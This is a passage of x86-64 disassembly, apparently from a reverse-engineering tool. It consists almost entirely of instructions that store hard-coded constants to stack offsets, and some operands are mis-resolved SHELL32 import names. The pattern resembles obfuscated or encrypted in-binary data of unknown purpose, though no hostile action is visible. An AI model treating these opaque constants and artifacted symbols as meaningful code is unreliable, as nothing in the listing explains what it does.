mov byte [rsp + 0xd3], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x51d
mov word [rsp + 0x1058], ax
mov dword [rsp + 0x4a1c], 0xf8daa6f3
movabs rax, 0x4862554441db2433
mov qword [rsp + 0x8730], rax
mov eax, 0x1166
mov word [rsp + 0x105c], ax
movabs rax, 0xec8ff0f1876762b3
mov qword [rsp + 0x8738], rax
mov dword [rsp + 0x4a20], 0x46098893
mov byte [rsp + 0xd4], 0x64
mov byte [rsp + 0xd5], 0x43
movabs rax, 0x7077769e0685a5e2
mov qword [rsp + 0x8740], rax
mov dword [rsp + 0x4a24], 0x2995621c
mov dword [rsp + 0x4a28], 0xadb66350
mov eax, 0x7a67
mov word [rsp + 0x1060], ax
mov byte [rsp + 0xd6], ILFindChild
mov eax, 0x25
mov word [rsp + 0x1064], ax
mov eax, 0x8c2
mov word [rsp + 0x1068], ax
mov byte [rsp + 0xd7], 0x71
mov byte [rsp + 0xd8], PathMakeUniqueName
mov byte [rsp + 0xd9], 0x26
mov eax, 0xd1e
mov word [rsp + 0x106c], ax
movabs rax, 0x7161764f9321e247
mov qword [rsp + 0x8748], rax
mov byte [rsp + 0xda], 0
mov dword [rsp + 0x4a2c], 0x8d5d21fb
mov eax, 0x63d
mov word [rsp + 0x1070], ax
movabs rax, 0xf4c72531abba1d26
mov qword [rsp + 0x8750], rax
mov dword [rsp + 0x4a30], 0x4afc67ee
mov byte [rsp + 0xdb], 0x4a
mov byte [rsp + 0xdc], 0x20
mov eax, 0x3e6
mov word [rsp + 0x1074], ax
mov eax, 0xa4f
mov word [rsp + 0x1078], ax
mov byte [rsp + 0xdd], 0x7f
mov eax, 0x9a7
mov word [rsp + 0x107c], ax
mov byte [rsp + 0xde], 0x6c
mov eax, 0xc64
mov word [rsp + 0x1080], ax
mov byte [rsp + 0xdf], 0xdf
movabs rax, 0xbe51a8bc2856b2dc
mov qword [rsp + 0x8758], rax
mov byte [rsp + 0xe0], 0x77
mov dword [rsp + 0x4a34], 0x67326fb3
mov eax, 0xb7a
mov word [rsp + 0x1084], ax
mov byte [rsp + 0xe1], 0x8a
movabs rax, 0xf1d1ce3089d1e594
mov qword [rsp + 0x8760], rax
movabs rax, 0xbfe0a81ef9c0313b
mov qword [rsp + 0x8768], rax
mov byte [rsp + 0xe2], PathMakeUniqueName
movabs rax, 0x9bee2e125c3c95d7
mov qword [rsp + 0x8770], rax
mov dword [rsp + 0x4a38], 0x31aa2a7f
movabs rax, 0xec9aed46c22b30cf
mov qword [rsp + 0x8778], rax
movabs rax, 0x9eed8e563419524b
mov qword [rsp + 0x8780], rax
mov dword [rsp + 0x4a3c], 0x3c2f466
movabs rax, 0xd4e9adadf3b3cdcb
mov qword [rsp + 0x8788], rax
movabs rax, 0x26aa426bcefd4d4e
mov qword [rsp + 0x8790], rax
mov eax, 0x47b
mov word [rsp + 0x1088], ax
mov byte [rsp + 0xe3], ILFindChild
movabs rax, 0x703b72b4bdac5cd3
mov qword [rsp + 0x8798], rax
mov byte [rsp + ILCloneFirst4], 0xe
mov dword [rsp + 0x4a40], 0x27dc77de
mov eax, 0xe4d
mov word [rsp + 0x108c], ax
mov dword [rsp + 0x4a44], 0x7c9574a
mov eax, 0x2179
mov word [rsp + 0x1090], ax
movabs rax, 0x2c2c44387ba00586
mov qword [rsp + 0x87a0], rax
movabs rax, 0x15e42c360fba6973
mov qword [rsp + 0x87a8], rax
mov byte [rsp + 0xe5], 0x78
mov dword [rsp + 0x4a48], 0x58299eb8
mov eax, 0x32f0
mov word [rsp + 0x1094], ax
mov eax, 0xb1a
mov word [rsp + 0x1098], ax
mov byte [rsp + 0xe6], 0x1b
mov byte [rsp + 0xe7], SHDoDragDrop
mov eax, 0x3c96
mov word [rsp + 0x109c], ax
mov byte [rsp + 0xe8], 0x35
mov byte [rsp + 0xe9], 5
mov eax, 0x191
mov word [rsp + 0x10a0], ax
mov dword [rsp + 0x4a4c], 0x6b6207fd
mov dword [rsp + 0x4a50], 0x6fe2639f
mov byte [rsp + 0xea], 2
mov dword [rsp + 0x4a54], 0x404cd0be
mov dword [rsp + 0x4a58], 0xfb9181b0
mov byte [rsp + 0xeb], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0xec], 0x35
mov byte [rsp + 0xed], SHTestTokenMembership
movabs rax, 0xccf20fcff2fef1c8
mov qword [rsp + 0x87b0], rax
mov eax, 0xa7
mov word [rsp + 0x10a4], ax
mov eax, 0x265
mov word [rsp + 0x10a8], ax
movabs rax, 0x1bc2a131049f3deb
mov qword [rsp + 0x87b8], rax
movabs rax, 0x7391fcba2bef7008
mov qword [rsp + 0x87c0], rax
movabs rax, 0x6c6c8ee2a872f437
mov qword [rsp + 0x87c8], rax
movabs rax, 0xf4457f8bec5b62e9
mov qword [rsp + 0x87d0], rax
mov dword [rsp + 0x4a5c], 0x5a645e35
mov byte [rsp + 0xee], ILCloneFirst
mov eax, 0x6eb
mov word [rsp + 0x10ac], ax
mov byte [rsp + 0xef], 0xdd
mov eax, 0xa65
mov word [rsp + 0x10b0], ax
mov eax, 0x1ea3
mov word [rsp + 0x10b4], ax
movabs rax, 0x1c06546d4c515606
mov qword [rsp + 0x87d8], rax
movabs rax, 0x46db782881cf0fab
mov qword [rsp + 0x87e0], rax
movabs rax, 0x3f96fe5c262f4da1
mov qword [rsp + 0x87e8], rax
mov byte [rsp + 0xf0], 0x7f
mov eax, 0x3fa6
mov word [rsp + 0x10b8], ax
movabs rax, 0x22453e3bc73e580b
mov qword [rsp + 0x87f0], rax
mov dword [rsp + 0x4a60], 0x24bf48d3
mov eax, 0x28c
mov word [rsp + 0x10bc], ax
movabs rax, 0x23eb32db0828ba34
mov qword [rsp + 0x87f8], rax
mov eax, 0x7aba
mov word [rsp + 0x10c0], ax
movabs rax, 0x81bb6249c78246c7
mov qword [rsp + 0x8800], rax
mov byte [rsp + 0xf1], 0x7c
mov eax, 0x41bf
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0xf2], 0x5e
mov eax, 0x66bf
mov word [rsp + 0x10c8], ax
mov byte [rsp + 0xf3], 0xe6
movabs rax, 0x7df4101cc3b85891
mov qword [rsp + 0x8808], rax
mov byte [rsp + 0xf4], reloc.SHELL32.dll_ILIsEqual
mov eax, 0xee0
mov word [rsp + 0x10cc], ax
mov dword [rsp + 0x4a64], 0xf5f17002
mov eax, 0x3ab
mov word [rsp + 0x10d0], ax
mov byte [rsp + 0xf5], 0x78
mov eax, 0xa9e
mov word [rsp + 0x10d4], ax
mov eax, 0xf01
mov word [rsp + 0x10d8], ax
mov byte [rsp + 0xf6], 0x38
movabs rax, 0x5e3a409f9d642143
mov qword [rsp + 0x8810], rax
mov byte [rsp + 0xf7], 3
mov dword [rsp + 0x4a68], 0xa1c9dfad
movabs rax, 0x586a6fee946e0cd1
mov qword [rsp + 0x8818], rax
mov byte [rsp + 0xf8], reloc.SHELL32.dll_ILAppendID
movabs rax, 0xcc8f1c56178b41cb
mov qword [rsp + 0x8820], rax
mov dword [rsp + 0x4a6c], 0x37c01e80
mov byte [rsp + 0xf9], 0x4e
mov eax, 0xc8
mov word [rsp + 0x10dc], ax
mov eax, 0x3b5
mov word [rsp + 0x10e0], ax
mov byte [rsp + 0xfa], reloc.SHELL32.dll_ILFree
mov byte [rsp + 0xfb], 0x8a
mov byte [rsp + 0xfc], 0x4e
mov eax, 0x6f5
mov word [rsp + 0x10e4], ax
mov byte [rsp + 0xfd], 0x73
mov dword [rsp + 0x4a70], 0xec9442ed
movabs rax, 0x3e5c2092e903a019
mov qword [rsp + 0x8828], rax
mov eax, 0x204
mov word [rsp + 0x10e8], ax
mov dword [rsp + 0x4a74], 0x2efe38d8
mov byte [rsp + 0xfe], 0xf6
mov byte [rsp + 0xff], 0x72
mov dword [rsp + 0x4a78], 0x2c1d6f4e
mov dword [rsp + 0x4a7c], 0x19483b2e
mov eax, 0x712
mov word [rsp + 0x10ec], ax
movabs rax, 0x3b45348747bdd89f
mov qword [rsp + 0x8830], rax
mov eax, 0x5ff
mov word [rsp + 0x10f0], ax
mov byte [rsp + 0x100], 0x68
mov eax, 0x7ba1
mov word [rsp + 0x10f4], ax
mov eax, 0x74f
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0x101], 0x3d
movabs rax, 0x7c6613136dcc695a
mov qword [rsp + 0x8838], rax
mov dword [rsp + 0x4a80], 0xa37b06ae
movabs rax, 0x6fa0c577bb5777ef
mov qword [rsp + 0x8840], rax
movabs rax, 0x1f197b9250bfd384
mov qword [rsp + 0x8848], rax
mov byte [rsp + 0x102], 0xdf
mov dword [rsp + 0x4a84], 0x6d27ecb8
mov dword [rsp + 0x4a88], 0xc1e3ba70
mov dword [rsp + 0x4a8c], 0x3a1d5b0f
mov byte [rsp + 0x103], 0x5b
mov byte [rsp + 0x104], 0x4f
movabs rax, 0x5e7843da45c99a85
mov qword [rsp + 0x8850], rax
mov dword [rsp + 0x4a90], 0x1f17ae66
mov eax, 0xe53
mov word [rsp + 0x10fc], ax
movabs rax, 0xf196efb75b394c40
mov qword [rsp + 0x8858], rax
movabs rax, 0x20c51ec5a55e3b97
mov qword [rsp + 0x8860], rax
mov byte [rsp + 0x105], 0xdd
movabs rax, 0xbed4aca7fbf5843
mov qword [rsp + 0x8868], rax
mov dword [rsp + 0x4a94], 0xbe7529e
mov byte [rsp + 0x106], 0xdc
mov byte [rsp + 0x107], 0x44
movabs rax, 0x452917ca4cfac71a
mov qword [rsp + 0x8870], rax
movabs rax, 0x466b0a90bfb59177
mov qword [rsp + 0x8878], rax
mov dword [rsp + 0x4a98], 0x4ac8aa1a
mov eax, 0xead
mov word [rsp + 0x1100], ax
movabs rax, 0x4881d97736a73396
mov qword [rsp + 0x8880], rax
mov eax, 0x56a
mov word [rsp + 0x1104], ax
mov byte [rsp + 0x108], SHDoDragDrop
movabs rax, 0x6d521c383f5bf2bb
mov qword [rsp + 0x8888], rax
mov byte [rsp + 0x109], ILClone
movabs rax, 0x5b2cc7dfe3d04109
mov qword [rsp + 0x8890], rax
mov eax, 0x4638
mov word [rsp + 0x1108], ax
movabs rax, 0xc819de71a565c814
mov qword [rsp + 0x8898], rax
movabs rax, 0xcfcc5ad6c3e5ea6d
mov qword [rsp + 0x88a0], rax
mov eax, 0x1315
mov word [rsp + 0x110c], ax
mov eax, 0x5da
mov word [rsp + 0x1110], ax
mov dword [rsp + 0x4a9c], 0xac587c84
movabs rax, 0x4c418998eb4b9a1a
mov qword [rsp + 0x88a8], rax
mov byte [rsp + 0x10a], 0xde
movabs rax, 0x26535fce0a839038
mov qword [rsp + 0x88b0], rax
mov byte [rsp + 0x10b], ILCloneFirst
mov dword [rsp + 0x4aa0], 0x793cc846
movabs rax, 0x1ee27b646de9ee3b
mov qword [rsp + 0x88b8], rax
mov byte [rsp + 0x10c], SHTestTokenMembership
mov eax, 0x701
mov word [rsp + 0x1114], ax
mov dword [rsp + 0x4aa4], 0x742acd41
mov dword [rsp + 0x4aa8], 0x60a087d1
movabs rax, 0x26c67c2f38de2afb
mov qword [rsp + 0x88c0], rax
mov eax, 0xd52
mov word [rsp + 0x1118], ax
movabs rax, 0xf4895fea9776847b
mov qword [rsp + 0x88c8], rax
mov dword [rsp + 0x4aac], 0x5aa02757
mov byte [rsp + 0x10d], SHTestTokenMembership
movabs rax, 0x21cec5211bf602ab
mov qword [rsp + 0x88d0], rax
movabs rax, 0x9f0a16dada94d9f
mov qword [rsp + 0x88d8], rax
mov eax, 0x11b1
mov word [rsp + 0x111c], ax
mov eax, 0x1b4e
mov word [rsp + 0x1120], ax
mov eax, 0xb39
mov word [rsp + 0x1124], ax
mov dword [rsp + 0x4ab0], 0x2fdecaa1
mov dword [rsp + 0x4ab4], 0x54f9f0a2
mov dword [rsp + 0x4ab8], 0x69e9ed0f
mov dword [rsp + 0x4abc], 0x5e3cc4fa
movabs rax, 0xa1af44f68c0f3aea
mov qword [rsp + 0x88e0], rax
movabs rax, 0x457dfd4735bce419
mov qword [rsp + 0x88e8], rax
movabs rax, 0x3a4fb507262c519b
mov qword [rsp + 0x88f0], rax
mov dword [rsp + 0x4ac0], 0x526e0b38
mov byte [rsp + 0x10e], ILGetNext
mov byte [rsp + 0x10f], SHDoDragDrop
mov dword [rsp + 0x4ac4], 0xd20da434
mov eax, 0x34e
mov word [rsp + 0x1128], ax
mov dword [rsp + 0x4ac8], 0x7d99d83
mov eax, 0xe57
mov word [rsp + 0x112c], ax
mov dword [rsp + 0x4acc], 0x35fa2b76
movabs rax, 0xcd2496dfe143ddb5
mov qword [rsp + 0x88f8], rax
movabs rax, 0x12242c60fe039793
mov qword [rsp + 0x8900], rax
mov byte [rsp + 0x110], 0x62
mov eax, 0x2a3d
mov word [rsp + 0x1130], ax
mov eax, 0xdfd
mov word [rsp + 0x1134], ax
mov eax, 0x67af
mov word [rsp + 0x1138], ax
mov dword [rsp + 0x4ad0], 0x2653243a
mov byte [rsp + 0x111], 0xa
movabs rax, 0xcafaa013ac7cbf1f
mov qword [rsp + 0x8908], rax
movabs rax, 0x1bc9c14ab84f8ac
mov qword [rsp + 0x8910], rax
movabs rax, 0x7b2221baf9b4a63c
mov qword [rsp + 0x8918], rax
mov eax, 0x32b9
mov word [rsp + 0x113c], ax
mov eax, 0xa93
mov word [rsp + 0x1140], ax
movabs rax, 0xe68258768a1d7b10
mov qword [rsp + 0x8920], rax
movabs rax, 0x486ce92d80fd761b
mov qword [rsp + 0x8928], rax
mov dword [rsp + 0x4ad4], 0x59efcf4b
xor eax, eax
mov word [rsp + 0x1144], ax
mov dword [rsp + 0x4ad8], 0x1b1e8676
mov dword [rsp + 0x4adc], 0x795000f6
movabs rax, 0x648dd74a5dac2c2b
mov qword [rsp + 0x8930], rax
mov eax, 0x2f5e
mov word [rsp + 0x1148], ax
mov eax, 0xa4f
mov word [rsp + 0x114c], ax
mov byte [rsp + 0x112], 0x81
mov byte [rsp + 0x113], PathMakeUniqueName
mov eax, 0x74a5
mov word [rsp + 0x1150], ax
mov eax, 0x7ec
mov word [rsp + 0x1154], ax
mov dword [rsp + 0x4ae0], 0x9da60097
mov byte [rsp + 0x114], 0x37
mov dword [rsp + 0x4ae4], 0x2a412328
mov byte [rsp + 0x115], 0x67
mov eax, 0x4757
mov word [rsp + 0x1158], ax
mov byte [rsp + 0x116], 0x48
mov dword [rsp + 0x4ae8], 0x4de8352
movabs rax, 0x3b7d7d54faad77a1
mov qword [rsp + 0x8938], rax
movabs rax, 0x9a038e65f0931df8
mov qword [rsp + 0x8940], rax
mov eax, 0x128c
mov word [rsp + 0x115c], ax
mov byte [rsp + 0x117], 0xe9
mov byte [rsp + 0x118], 0x35
movabs rax, 0x3c6ed5faf300dd81
mov qword [rsp + 0x8948], rax
mov byte [rsp + 0x119], ILFindChild
movabs rax, 0x3326bc2ecc3ac55c
mov qword [rsp + 0x8950], rax
mov eax, 0x6d05
mov word [rsp + 0x1160], ax
mov dword [rsp + 0x4aec], 0xd3dd8ff5
mov eax, 0xc2f
mov word [rsp + 0x1164], ax
mov byte [rsp + 0x11a], ILCreateFromPathA
mov byte [rsp + 0x11b], 0x39
mov eax, 0xbb1
mov word [rsp + 0x1168], ax
movabs rax, 0x159bbed8cc156742
mov qword [rsp + 0x8958], rax
mov dword [rsp + 0x4af0], 0xedc60189
movabs rax, 0x65f4896711410d8f
mov qword [rsp + 0x8960], rax
mov dword [rsp + 0x4af4], 0x1850e011
mov dword [rsp + 0x4af8], 0x5dfde1d3
movabs rax, 0x5791f68841322815
mov qword [rsp + 0x8968], rax
mov byte [rsp + 0x11c], 0xc5
mov byte [rsp + 0x11d], 0x42
mov eax, 0x299c
mov word [rsp + 0x116c], ax
mov eax, 0x482e
mov word [rsp + 0x1170], ax
mov byte [rsp + 0x11e], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x1450
mov word [rsp + 0x1174], ax
mov byte [rsp + 0x11f], 4
movabs rax, 0x12ec6dc24bc56fdb
mov qword [rsp + 0x8970], rax
mov dword [rsp + 0x4afc], 0x3b085fb9
mov dword [rsp + 0x4b00], 0x7d057859
movabs rax, 0x76413af074bc1d25
mov qword [rsp + 0x8978], rax
mov dword [rsp + 0x4b04], 0xe780946e
mov byte [rsp + 0x120], 0x65
mov eax, 0x3c8d
mov word [rsp + 0x1178], ax
mov byte [rsp + 0x121], 0x46
movabs rax, 0x25c1a8c2be9c974b
mov qword [rsp + 0x8980], rax
mov eax, 0x215
mov word [rsp + 0x117c], ax
mov byte [rsp + 0x122], 0x74
mov eax, 0x6292
mov word [rsp + 0x1180], ax
movabs rax, 0xb0f3a9c04acb0b29
mov qword [rsp + 0x8988], rax
mov eax, 0x3634
mov word [rsp + 0x1184], ax
mov byte [rsp + 0x123], 0x64
mov byte [rsp + 0x124], 0x9d
movabs rax, 0x2f0844a98b1eaa81
mov qword [rsp + 0x8990], rax
movabs rax, 0x26c40675163761ea
mov qword [rsp + 0x8998], rax
movabs rax, 0x6ea4dccc4d3b5f3f
mov qword [rsp + 0x89a0], rax
movabs rax, 0xb8517f073e941ddd
mov qword [rsp + 0x89a8], rax
mov byte [rsp + 0x125], pe_nt_image_headers64
mov eax, 0x368c
mov word [rsp + 0x1188], ax
mov byte [rsp + reloc.SHELL32.dll_ILClone6], 0x12
mov byte [rsp + 0x127], 0x48
mov byte [rsp + 0x128], ILCloneFirst
mov byte [rsp + 0x129], 0x35
mov eax, 0x2f3b
mov word [rsp + 0x118c], ax
mov dword [rsp + 0x4b08], 0x6efee39f
mov dword [rsp + 0x4b0c], 0x41f3956
mov dword [rsp + 0x4b10], 0x46842fdb
movabs rax, 0x48a3c595acfa71c5
mov qword [rsp + 0x89b0], rax
mov byte [rsp + 0x12a], 0
mov eax, 0x6f13
mov word [rsp + 0x1190], ax
mov eax, 0xd72
mov word [rsp + 0x1194], ax
mov byte [rsp + 0x12b], 9
movabs rax, 0x5459b7905c96d5bf
mov qword [rsp + 0x89b8], rax
mov eax, 0x7b7f
mov word [rsp + 0x1198], ax
mov byte [rsp + 0x12c], 0x5c
movabs rax, 0xaac26c9d644e4b8e
mov qword [rsp + 0x89c0], rax
mov dword [rsp + 0x4b14], 0x82723646
mov eax, 0xa7f
mov word [rsp + 0x119c], ax
mov dword [rsp + 0x4b18], 0x116a1a5b
mov eax, 0x6b39
mov word [rsp + 0x11a0], ax
movabs rax, 0xf59e19d87bb9cdc0
mov qword [rsp + 0x89c8], rax
mov byte [rsp + 0x12d], 0x72
mov dword [rsp + 0x4b1c], 0x505bb07e
mov byte [rsp + 0x12e], 0x3f
movabs rax, 0x77450718d87e6b10
mov qword [rsp + 0x89d0], rax
mov eax, 0xc65
mov word [rsp + 0x11a4], ax
mov byte [rsp + 0x12f], 0x31
mov eax, 0x13d8
mov word [rsp + 0x11a8], ax
movabs rax, 0x95f58f49e88c4552
mov qword [rsp + 0x89d8], rax
mov dword [rsp + 0x4b20], 0x42c96d5a
mov eax, 0xa0
mov word [rsp + 0x11ac], ax
movabs rax, 0xf041181478a5f81
mov qword [rsp + 0x89e0], rax
mov dword [rsp + 0x4b24], 0x9a6f9f3
mov byte [rsp + 0x130], 0x5e
mov byte [rsp + 0x131], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x132], 0x23
mov byte [rsp + 0x133], 0x27
movabs rax, 0xa57eaa8d8505045
mov qword [rsp + 0x89e8], rax
mov eax, 0xeed
mov word [rsp + 0x11b0], ax
mov byte [rsp + 0x134], 0x63
mov dword [rsp + 0x4b28], 0x48282352
movabs rax, 0x6f75c357d11a059e
mov qword [rsp + 0x89f0], rax
mov byte [rsp + 0x135], 0x1d
movabs rax, 0x441cec4413365ba3
mov qword [rsp + 0x89f8], rax
mov dword [rsp + 0x4b2c], 0x2931fcdb
mov eax, 0xd98
mov word [rsp + 0x11b4], ax
mov byte [rsp + 0x136], SHGetNewLinkInfoA
movabs rax, 0x54430ea7b31c7b65
mov qword [rsp + 0x8a00], rax
mov eax, 0x1dd1
mov word [rsp + 0x11b8], ax
mov dword [rsp + 0x4b30], 0x29f8eb04
movabs rax, 0x5266930e926c3e57
mov qword [rsp + 0x8a08], rax
mov eax, 0xb9e
mov word [rsp + 0x11bc], ax
movabs rax, 0x689f6789908bd615
mov qword [rsp + 0x8a10], rax
mov dword [rsp + 0x4b34], 0x7911f950
mov dword [rsp + 0x4b38], 0x32928013
mov dword [rsp + 0x4b3c], 0x2118b235
mov eax, 0x239a
mov word [rsp + 0x11c0], ax
mov byte [rsp + 0x137], ILCloneFirst
movabs rax, 0x5413cbc3e11df046
mov qword [rsp + 0x8a18], rax
mov dword [rsp + 0x4b40], 0xaf05baad
mov dword [rsp + 0x4b44], 0x683f9559
mov eax, 0x75fd
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x4b48], 0x51a0133a
mov byte [rsp + 0x138], 0xa7
mov eax, 0x96e
mov word [rsp + 0x11c8], ax
movabs rax, 0x537c773b9989a697
mov qword [rsp + 0x8a20], rax
mov byte [rsp + 0x139], 0x76
mov eax, 0x40c8
mov word [rsp + 0x11cc], ax
mov eax, 0xcee
mov word [rsp + 0x11d0], ax
movabs rax, 0x6d6f8ca7cd1b079a
mov qword [rsp + 0x8a28], rax
movabs rax, 0x775fa274693ff799
mov qword [rsp + 0x8a30], rax
mov byte [rsp + 0x13a], 0x44
movabs rax, 0x11d16c42ab22443a
mov qword [rsp + 0x8a38], rax
movabs rax, 0x79d88d82772cc2b2
mov qword [rsp + 0x8a40], rax
mov byte [rsp + 0x13b], 0x33
movabs rax, 0x73b2c5f0cf570985
mov qword [rsp + 0x8a48], rax
mov byte [rsp + 0x13c], SHDoDragDrop
movabs rax, 0x78e63544f2f1dc9a
mov qword [rsp + 0x8a50], rax
mov dword [rsp + 0x4b4c], 0x4e61430a
mov byte [rsp + 0x13d], PathMakeUniqueName
mov eax, 0x2ab
mov word [rsp + 0x11d4], ax
mov byte [rsp + 0x13e], SHDoDragDrop
mov dword [rsp + 0x4b50], 0xd81528cc
mov eax, 0x711a
mov word [rsp + 0x11d8], ax
movabs rax, 0xeeaf26093500db2
mov qword [rsp + 0x8a58], rax
mov byte [rsp + 0x13f], 0x68
mov eax, 0x3f63
mov word [rsp + 0x11dc], ax
mov eax, 0x631
mov word [rsp + 0x11e0], ax
mov byte [rsp + 0x140], 0x90
mov byte [rsp + 0x141], ILCloneFirst
mov byte [rsp + 0x142], 0xcf
mov eax, 0xe28
mov word [rsp + 0x11e4], ax
movabs rax, 0xf4a3d639568be4ee
mov qword [rsp + 0x8a60], rax
movabs rax, 0x4408130c7ed67ae1
mov qword [rsp + 0x8a68], rax
mov byte [rsp + 0x143], SHTestTokenMembership
mov dword [rsp + 0x4b54], 0xe602ced6
movabs rax, 0x304675e7f4f9397d
mov qword [rsp + 0x8a70], rax
mov eax, 0x3da8
mov word [rsp + 0x11e8], ax
mov eax, 0x4bd0
mov word [rsp + 0x11ec], ax
mov byte [rsp + 0x144], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x145], 0x27
mov byte [rsp + 0x146], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x4c8a34c51f1f3067
mov qword [rsp + 0x8a78], rax
mov byte [rsp + 0x147], SHGetNewLinkInfoA
mov eax, 0x26f6
mov word [rsp + 0x11f0], ax
movabs rax, 0x5408f0de5702dd82
mov qword [rsp + 0x8a80], rax
mov byte [rsp + 0x148], 0x48
movabs rax, 0x14a9616cdef93cc9
mov qword [rsp + 0x8a88], rax
mov byte [rsp + 0x149], 0xf6
mov eax, 0x19ab
mov word [rsp + 0x11f4], ax
mov byte [rsp + 0x14a], 0x32
mov dword [rsp + 0x4b58], 0xeb7cbe1e
mov byte [rsp + 0x14b], 0x77
mov eax, 0x126
mov word [rsp + 0x11f8], ax
mov eax, 0xda5
mov word [rsp + 0x11fc], ax
movabs rax, 0xb317ec30ddd9f22a
mov qword [rsp + 0x8a90], rax
mov eax, 0x4056
mov word [rsp + 0x1200], ax
mov eax, 0x307a
mov word [rsp + 0x1204], ax
mov dword [rsp + 0x4b5c], 0x3c8250f4
mov dword [rsp + 0x4b60], 0x7c495c1
mov eax, 0x4487
mov word [rsp + 0x1208], ax
mov byte [rsp + 0x14c], 0x4e
mov dword [rsp + 0x4b64], 0xf7aca6c
movabs rax, 0x62e1bb32f13ce5b8
mov qword [rsp + 0x8a98], rax
mov dword [rsp + 0x4b68], 0x627d84cd
movabs rax, 0xdd6a550116f2caad
mov qword [rsp + 0x8aa0], rax
movabs rax, 0x16bfa39434a6f6ba
mov qword [rsp + 0x8aa8], rax
mov byte [rsp + 0x14d], 0xfe
mov eax, 0x4ed
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x4b6c], 0x870e9e94
mov byte [rsp + 0x14e], 0x22
movabs rax, 0xd2f39e6db0b8c200
mov qword [rsp + 0x8ab0], rax
movabs rax, 0x87196bbd71dfad71
mov qword [rsp + 0x8ab8], rax
movabs rax, 0xfd6c00edbcbe3f
mov qword [rsp + 0x8ac0], rax
mov eax, 0x5474
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x4b70], 0xc7a23e6c
movabs rax, 0x32a7b8054bb04029
mov qword [rsp + 0x8ac8], rax
mov dword [rsp + 0x4b74], 0x76ea784f
mov byte [rsp + 0x14f], 0x31
movabs rax, 0x382b9f0db77c74a9
mov qword [rsp + 0x8ad0], rax
movabs rax, 0xcc48feb8076c9e28
mov qword [rsp + 0x8ad8], rax
movabs rax, 0x76c19542ed927125
mov qword [rsp + 0x8ae0], rax
mov eax, 0x430c
mov word [rsp + 0x1214], ax
movabs rax, 0x25dbc330432e9fc5
mov qword [rsp + 0x8ae8], rax
movabs rax, 0x69dc48c5384a0306
mov qword [rsp + 0x8af0], rax
mov eax, 0x126
mov word [rsp + 0x1218], ax
movabs rax, 0xc2481356c37ad657
mov qword [rsp + 0x8af8], rax
movabs rax, 0x820fd151f4214ea5
mov qword [rsp + 0x8b00], rax
mov eax, 0x3c5a
mov word [rsp + 0x121c], ax
mov byte [rsp + 0x150], 0x42
movabs rax, 0xc49e48bd6d82b135
mov qword [rsp + 0x8b08], rax
movabs rax, 0x5a596ac6309cca7
mov qword [rsp + 0x8b10], rax
mov dword [rsp + 0x4b78], 0xb742b0ab
mov byte [rsp + 0x151], 0x7b
mov dword [rsp + 0x4b7c], 0x151c8bc1
mov eax, 0x1816
mov word [rsp + 0x1220], ax
mov dword [rsp + 0x4b80], 0xd6e1e018
mov eax, 0x142
mov word [rsp + 0x1224], ax
movabs rax, 0x2b5f44681de79f34
mov qword [rsp + 0x8b18], rax
movabs rax, 0xf3747930b318124f
mov qword [rsp + 0x8b20], rax
mov eax, reloc.SHELL32.dll_SHChangeNotification_Lock
mov word [rsp + 0x1228], ax
mov byte [rsp + 0x152], SHGetNewLinkInfoA
movabs rax, 0x547b548fe76a8cbc
mov qword [rsp + 0x8b28], rax
mov dword [rsp + 0x4b84], 0x6de446bf
mov dword [rsp + 0x4b88], 0x396cd4c3
mov dword [rsp + 0x4b8c], 0xc37b1ed
mov eax, 0x2304
mov word [rsp + 0x122c], ax
mov dword [rsp + 0x4b90], 0x45d24faa
movabs rax, 0xede1fd072eb2866f
mov qword [rsp + 0x8b30], rax
mov byte [rsp + 0x153], 0x87
mov dword [rsp + 0x4b94], 0x31cb006e
mov byte [rsp + 0x154], SHDoDragDrop
mov dword [rsp + 0x4b98], 0x1f309abf
mov byte [rsp + 0x155], 0x50
mov dword [rsp + 0x4b9c], 0x95edc19b
mov eax, 0x41d4
mov word [rsp + 0x1230], ax
mov eax, 0x33c9
mov word [rsp + 0x1234], ax
movabs rax, 0x5e8e021d555d72ed
mov qword [rsp + 0x8b38], rax
mov dword [rsp + 0x4ba0], 0x67a414eb
mov eax, 0x3ee
mov word [rsp + 0x1238], ax
mov eax, 0x24ba
mov word [rsp + 0x123c], ax
mov byte [rsp + 0x156], 0x9f
movabs rax, 0xa9fc905828943bb0
mov qword [rsp + 0x8b40], rax
movabs rax, 0xffc8bfe9e426de00
mov qword [rsp + 0x8b48], rax
mov dword [rsp + 0x4ba4], 0x471432e8
mov eax, 0x232
mov word [rsp + 0x1240], ax
movabs rax, 0x7b6bbe7f4c21a936
mov qword [rsp + 0x8b50], rax
movabs rax, 0x1d2de2d365dcd77f
mov qword [rsp + 0x8b58], rax
mov eax, 0x6cb
mov word [rsp + 0x1244], ax
mov byte [rsp + 0x157], 0xea
mov byte [rsp + 0x158], 0x3c
mov byte [rsp + 0x159], 0xc3
mov dword [rsp + 0x4ba8], 0x335078aa
movabs rax, 0x137f54fc399f45f
mov qword [rsp + 0x8b60], rax
mov dword [rsp + 0x4bac], 0x7e65da3c
mov eax, 0x4eb9
mov word [rsp + 0x1248], ax
mov dword [rsp + 0x4bb0], 0x3c381b8b
movabs rax, 0x13b2160a94cbbc36
mov qword [rsp + 0x8b68], rax
movabs rax, 0xaa9fc4e4c9221d0b
mov qword [rsp + 0x8b70], rax
mov byte [rsp + 0x15a], 0x5c
movabs rax, 0xce40bdf1e66785c0
mov qword [rsp + 0x8b78], rax
mov byte [rsp + 0x15b], 0x39
mov byte [rsp + 0x15c], 0x4e
mov eax, 0x210
mov word [rsp + 0x124c], ax
mov byte [rsp + 0x15d], PathMakeUniqueName
movabs rax, 0x4f95731f73bdeacc
mov qword [rsp + 0x8b80], rax
mov byte [rsp + 0x15e], 0x46
mov byte [rsp + 0x15f], ILCreateFromPathA
movabs rax, 0x15419117c24001cb
mov qword [rsp + 0x8b88], rax
movabs rax, 0xbb4038a80149b25a
mov qword [rsp + 0x8b90], rax
mov byte [rsp + 0x160], 9
mov byte [rsp + 0x161], ILFindChild
mov eax, 0x120
mov word [rsp + 0x1250], ax
mov eax, 0x8e2
